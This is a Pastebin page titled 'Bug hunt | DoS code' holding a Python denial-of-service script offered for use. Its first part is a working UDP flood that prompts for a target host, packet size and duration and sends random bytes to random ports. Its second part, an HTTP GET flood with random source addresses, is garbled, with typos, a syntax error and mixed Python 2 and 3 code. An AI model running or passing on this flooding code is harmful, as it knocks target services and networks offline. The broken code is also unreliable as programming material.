Advertisement
ZeekoSec

Bug hunt | DoS code

Dec 19th, 2014
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.11 KB | None | 0 0
  1. import socket
  2. import random
  3. import sys
  4. import time
  5. import os
  6. import http.client
  7. from random import randint
  8. import threading
  9.  
  10.  
  11. if sys.platform == "linux2":
  12.     os.system("clear")
  13. elif sys.platform == "win32":
  14.     os.system("cls")
  15. else:
  16.     os.system("clear")
  17.      
  18. print(" ~# DoS #~ ")
  19.  
  20. target = raw_input("Insert target's IP/HOSTNAME!):")
  21.  
  22. print("---")
  23.  
  24. package = input(" How much dynamite do you want to use? [ MAXIMIUM 65500] : ")
  25.  
  26. print("---")
  27.  
  28. duration = input(" Set duration of attack [0 is infinite!] ")
  29. durclock = (lambda:0, time.clock)[duration > 0]
  30. duration = (1, (durclock() + duration))[duration > 0]
  31. packet = random._urandom(package)
  32. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  33. print("---")
  34. print("Bombing target on %s with %s bytes for %s seconds." % (target, package, duration))
  35. while True:
  36.         if (durclock() < duration):
  37.                 port = random.randint(1, 65535)
  38.                 sock.sendto(packet, (target, port))
  39.         else:
  40.                 break
  41. #
  42. randomize = True
  43. src = None
  44. dst = None
  45. port = None
  46. conn = None
  47.  
  48. class Xplit(threading.Thread):
  49.     global randomize, src, dst, port, conn
  50.    
  51.     def __init__(self):
  52.         threading.Thread.__init__(self)
  53.    
  54.     def build_conn(_src, _dst, _port):
  55.         return http.client.HTTPConnection(host = _dst, port = _port, timeout = 5, source_address = _src)
  56.    
  57.     def gen_ip():
  58.         return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand())
  59.        
  60.     def rand():
  61.         return randit(1, 350)
  62.        
  63.     def run():
  64.         conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port)
  65.         conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1")
  66.  
  67. def show_help(bin):
  68.     print('usage:\t%s [<src_addr>] <dst_addr> <port>' % bin)
  69.  
  70. def begin():
  71.     while True:
  72.         if threading.activeCount() <= 666:
  73.             .start()
  74.  
  75. if __name__ == '__main__':
  76.     if len(sys.argv) == 4:
  77.         src = sys.argv[1]
  78.         dst = sys.argv[2]
  79.         port = sys.argv[3]
  80.     elif len(sys.argv) == 3:
  81.         randomize = True
  82.         dst = sys.argv[1]
  83.         port = sys.argv[2]
  84.     else:
  85.         show_help(sys.argv[0])
  86.         exit()
  87.  
  88. print("---")
  89. print("The attack completed on %s for %s seconds." % (target, duration)")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement